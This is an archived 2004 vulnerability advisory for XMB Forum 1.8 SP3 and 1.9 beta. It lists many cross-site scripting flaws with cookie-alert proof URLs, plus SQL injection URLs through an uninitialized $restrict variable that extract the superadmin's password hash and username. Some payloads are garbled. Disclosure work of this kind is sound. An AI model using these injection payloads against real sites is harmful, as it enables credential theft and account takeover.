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TUCoPS :: Web BBS :: etc :: hack2652.htm

XMB Forum 1.8 SP3 and 1.9 beta mult vulns

[waraxe-2004-SA#012 - Multiple vulnerabilities in XMB Forum 1.8 SP3 and 1.9 beta]


{                              [waraxe-2004-SA#012]                              }


{                                                                                }

{    [ Multiple vulnerabilities in XMB 1.8 Partagium SP3 and 1.9 Nexus Beta ]    }

{                                                                                }



Author: Janek Vind "waraxe"

Date: 26. March 2004

Location: Estonia, Tartu

Affected software description:


Extreme Messageboard aka XMB is very popular and feature rich forum,

based on php and mysql. More information can be found on sites and 



Ok, we have lot's of the security flaws to disclosure, so let's begin...

1. php and webserver info disclosure and possible XSS

Beginning with XMB 1.9 beta versions, file named phpinfo.php is shipped with forum

software. Original code:

In this way ANYONE can get lot's of insider information from webserver and php engine

environment - good startup for attacker...

And even "better" - phpinfo.php can be used for exploiting the XSS:

http://localhost/xmb19beta/phpinfo.php?foobar=<script>alert(docu ment.cookie);</script>

2. XSS in xmb.php --> works in 1.8 SP3 and 1.9 beta

Example http request:


Remark: Log off before trying this or it will not work!

3. XSS in editprofile.php --> only in 1.9 beta

Example request:

http://localhost/xmb19beta/editprofile.php?user=notexist_foobar&u2uh eader=

4. XSS in u2u.php --> works in 1.8 SP3 and 1.9 beta

Example request:

http://localhost/xmb19beta/u2u.php?folder=foobar"> =alert(document.cookie);>

5. XSS in stats.php --> works in 1.8 SP3 and 1.9 beta

Reason --> uninitialized variables $viewmost,$replymost,$latest

http://localhost/xmb19beta/stats.php?action=view&viewmost="> rea>

http://localhost/xmb19beta/stats.php?action=view&replymost="> area>

http://localhost/xmb19beta/stats.php?action=view&latest="> >

6. XSS in post.php 

Reason --> uninitialized variables $message,$icons --> works in 1.8 SP3 and 1.9 beta

http://localhost/xmb19beta/post.php?action=newthread&fid=1&messag e=">

http://localhost/xmb19beta/post.php?action=newthread&fid=1&icons=< body%20onload=alert(document.cookie);>

7. XSS in  forumdisplay.php --> works in 1.8 SP3 and 1.9 beta

Reason --> uninitialized variables $threadlist,$pagelinks,$forumlist,$navigation,$forumdisplay

http://localhost/xmb19beta/forumdisplay.php?fid=1&threadlist= 20onload=alert(document.cookie);>

http://localhost/xmb19beta/forumdisplay.php?fid=1&pagelinks= %20onload=alert(document.cookie);>

http://localhost/xmb19beta/forumdisplay.php?fid=1&forumlist= 20onload=alert(document.cookie);>

http://localhost/xmb19beta/forumdisplay.php?fid=1&navigation= %20onload=alert(document.cookie);>

http://localhost/xmb19beta/forumdisplay.php?fid=1&forumdisplay= dy%20onload=alert(document.cookie);>

8. Sql injection and XSS in forumdisplay.php 

http://localhost/xmb19beta/forumdisplay.php?fid=1&tpp= oad=alert(document.cookie);>

Remark: will work only, when no user logged in, because logging in will override the $tpp value.

*************** [really scary sql injection bugs] ***************

9. sql injection and XSS in member.php --> only in 1.9 beta version

Let's look at original code, line 461:


                case 'member';

                    $restrict .= " f.private !='3' AND";

                case 'Moderator';

                case 'Super Moderator';

                    $restrict .= " f.private != '2' AND";

                case 'Administrator';

                    $restrict .= " f.userlist = '' AND f.password = '' AND";

                case 'Super Administrator';



                    $restrict .= " f.private !='3' AND f.private != '2' AND f.userlist = '' AND f.password = '' AND";



Hmm, $restrict is not initialized anywhere! So we can delivere here all what we want:

http://localhost/xmb19beta/member.php?action=viewpro&member=wa raxe&restrict=foobar

You have an error in your SQL syntax.


http://localhost/xmb19beta/member.php?action=viewpro&member=wa raxe&restrict=

And now the funniest part - how to get superadmin's password's md5 hash from database:

http://localhost/xmb19beta/member.php?action=viewpro&member=wa raxe&restrict=%20f.private=-99%20GROUP%20BY%20p.fid%20UNION%20SELECT%20password,null,99%20FROM%20xmb_members%20WHERE%20uid=1%20LIMIT%201%20/*

Or u want superadmin's username? Here it is:

http://localhost/xmb19beta/member.php?action=viewpro&member=wa raxe&restrict=%20f.private=-99%20GROUP%20BY%20p.fid%20UNION%20SELECT%20username,null,99%20FROM%20xmb_members%20WHERE%20uid=1%20LIMIT%201%20/*

10. sql injection and XSS in misc.php --> only in 1.9 beta version

http://localhost/xmb19beta/misc.php?action=search&restrict= 0onload=alert(document.cookie);>

http://localhost/xmb19beta/misc.php?action=search&restrict=%20privat e=-99%20UNION%20SELECT%20null,null,password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20xmb_members%20WHERE%20uid=1%20LIMIT%201%20/*

11. sql injection and XSS in today.php --> only in 1.9 beta version

http://localhost/xmb19beta/today.php?restrict= document.cookie);>

*************** [/really scary sql injection bugs] ***************



    Greets to torufoorum members and to all bugtraq readers in Estonia! Tervitused!

Special greets to Stefano from UT Bee Clan!



    Janek Vind "waraxe"

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